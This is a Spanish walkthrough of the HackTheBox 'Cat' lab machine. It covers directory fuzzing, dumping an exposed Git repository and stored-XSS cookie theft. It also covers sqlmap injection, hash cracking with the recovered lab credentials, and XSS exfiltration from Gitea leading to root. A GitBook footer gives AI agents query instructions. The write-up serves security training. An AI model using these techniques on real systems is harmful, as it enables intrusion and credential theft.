> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md). # Análisis de Cat HackTheBox {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Fuzzing de directorios (.git file) * Análisis de código fuente (volcado del repositorio Git) * Explotación de XSS almacenado y secuestro de sesión * Inyección SQL (SQLite) usando sqlmap * Cracking de hashes de contraseñas * Redirección de puertos vía SSH * Explotación de Gitea (v1.22.0) – XSS almacenado * Exfiltración de datos sensibles mediante cargas útiles XSS {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.53 -oG allPorts ```

Escaneo de versiones de puertos con Nmap: Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted": ```purebasic nmap -sCV -p22,80 10.10.11.53 -oN targeted ```

Para resolver nombres de dominio en direcciones IP mediante DNS, insertamos el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo:

### Puerto 80 - HTTP

Al acceder al `http://cat.htb` sitio, encontrarás un formulario de registro.

También notamos una funcionalidad de votación.

**Fuzzing de directorios** Ejecutamos `gobuster` para descubrir rutas ocultas: ```bash gobuster dir -u http://cat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php ```

Esto revela varios archivos interesantes, incluido un `.git` directorio.

**volcado del repositorio Git** Usamos `git-dumper` para recuperar el contenido del repositorio: ```bash git-dumper http://cat.htb/.git git ```

Al inspeccionar el código fuente, identificamos una **vulnerabilidad SQL** así como una posibilidad de **XSS almacenado**.

## Vulnerabilidad XSS La aplicación acepta *username* y *correo electrónico* campos sin filtrado adecuado. Esto permite la inyección de scripts maliciosos.

**Carga útil XSS** Creamos un usuario con el siguiente nombre: ```javascript ``` **Recibiendo la cookie del administrador** Escuchamos en el puerto 8081: ```bash python -m http.server 8081 ```

Una vez capturada la cookie, obtenemos la sesión de administrador:

Modificamos nuestra cookie de sesión por la del administrador y accedemos a la **consola de administración**.

## Inyección SQL (SQLite)

Con acceso de administrador, lanza `sqlmap` en un formulario vulnerable {% code overflow="wrap" %} ```bash sqlmap -u "http://cat.htb/accept_cat.php" --cookie="PHPSESSID=i4cao7dtdfk1bs713p57cfq719" --data="catId=1&catName=123" -p catName --level 3 --risk 3 --batch --random-agent --tables --dump --dbms=sqlite --threads 10 ``` {% endcode %}

**Recuperación de hashes** Obtenemos las **hashes de contraseñas**de los usuarios. Aquí hay algunos ejemplos: ``` d1bbba3670feb9435c9841e46e60ee2f ac369922d560f17d6eeb8b2c7dec498c 42846631708f69c00ec0c0a8aa4a92ad 39e153e825c4a3d314a0dc7f7475ddbe 781593e060f8d065cd7281c5ec5b4b86 1b6dce240bbfbc0905a664ad199e18f8 c598f6b844a36fa7836fba0835f1f6 e41ccefa439fc454f7eadbf1f139ed8a 24a8ec003ac2e1b3c5953a6f95f8f565 88e4dceccd48820cf77b5cf6c08698ad ``` **Cracking de contraseñas** Usando [CrackStation](https://crackstation.net/), identificamos con éxito la contraseña del usuario `rosa`: {% embed url="" %}

* **username** : rosa * **contraseña** : soyunaprincesarosa Conexión SSH con las credenciales obtenidas: ```bash ssh rosa@cat.htb ```

### Pivotando al usuario Axel #### Enumeración con LinPEAS: ```bash ./linpeas.sh ``` {% embed url="" %} Rosa está en el `adm` grupo, acceso a: ```bash cat /var/log/apache2/access.log | grep "axel" ```

Credenciales encontradas: * Usuario: axel * Contraseña : aNdZwgC4tI9gnVXv/\_e3Q

### Bandera user.txt :)

## Escalada de privilegios ### Descubrimiento de puertos internos: ```bash netstat -tuln ``` * **Node.js** (puerto 3000) * **SMTP** (587, 25) Servicios identificados

#### Reenvío de puertos ```bash sudo ssh -L 3000:127.0.0.1:3000 -L 587:127.0.0.1:587 -L 25:127.0.0.1:25 axel@cat.htb ``` ### Vulnerabilidad XSS en Gitea v1.22.0 En `http://localhost:3000` -> **Gitea** está accesible.

Inicia sesión con las credenciales de Axel.

Vulnerabilidad XSS conocida.

Creamos un proyecto con una descripción que contiene: ```bash XSS test ```

* Resultado:

### Correo interceptado vía LinPEAS

Contenido del correo: * jobert\@localhost debe revisar el repositorio de Gitea

Enviamos un enlace XSS que contiene un script de exfiltración que lee el contenido de la `index.php` página del repositorio de Gitea, lo codifica en Base64 y luego lo envía a nuestro servidor web {% code overflow="wrap" %} ```bash PWNED ``` {% endcode %}

#### A través de nuestro servidor web ```bash python -m http.server 8080 ```

#### Contenido exfiltrado (Base64 decodificado): ```bash echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d ``` * $valid/\_username = 'admin'; * $valid/\_password = 'IKw75eR0MR7CMIxhH0';

#### Escalada a root Hay una reutilización de credenciales para el usuario root ```bash su root ```

### Bandera root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.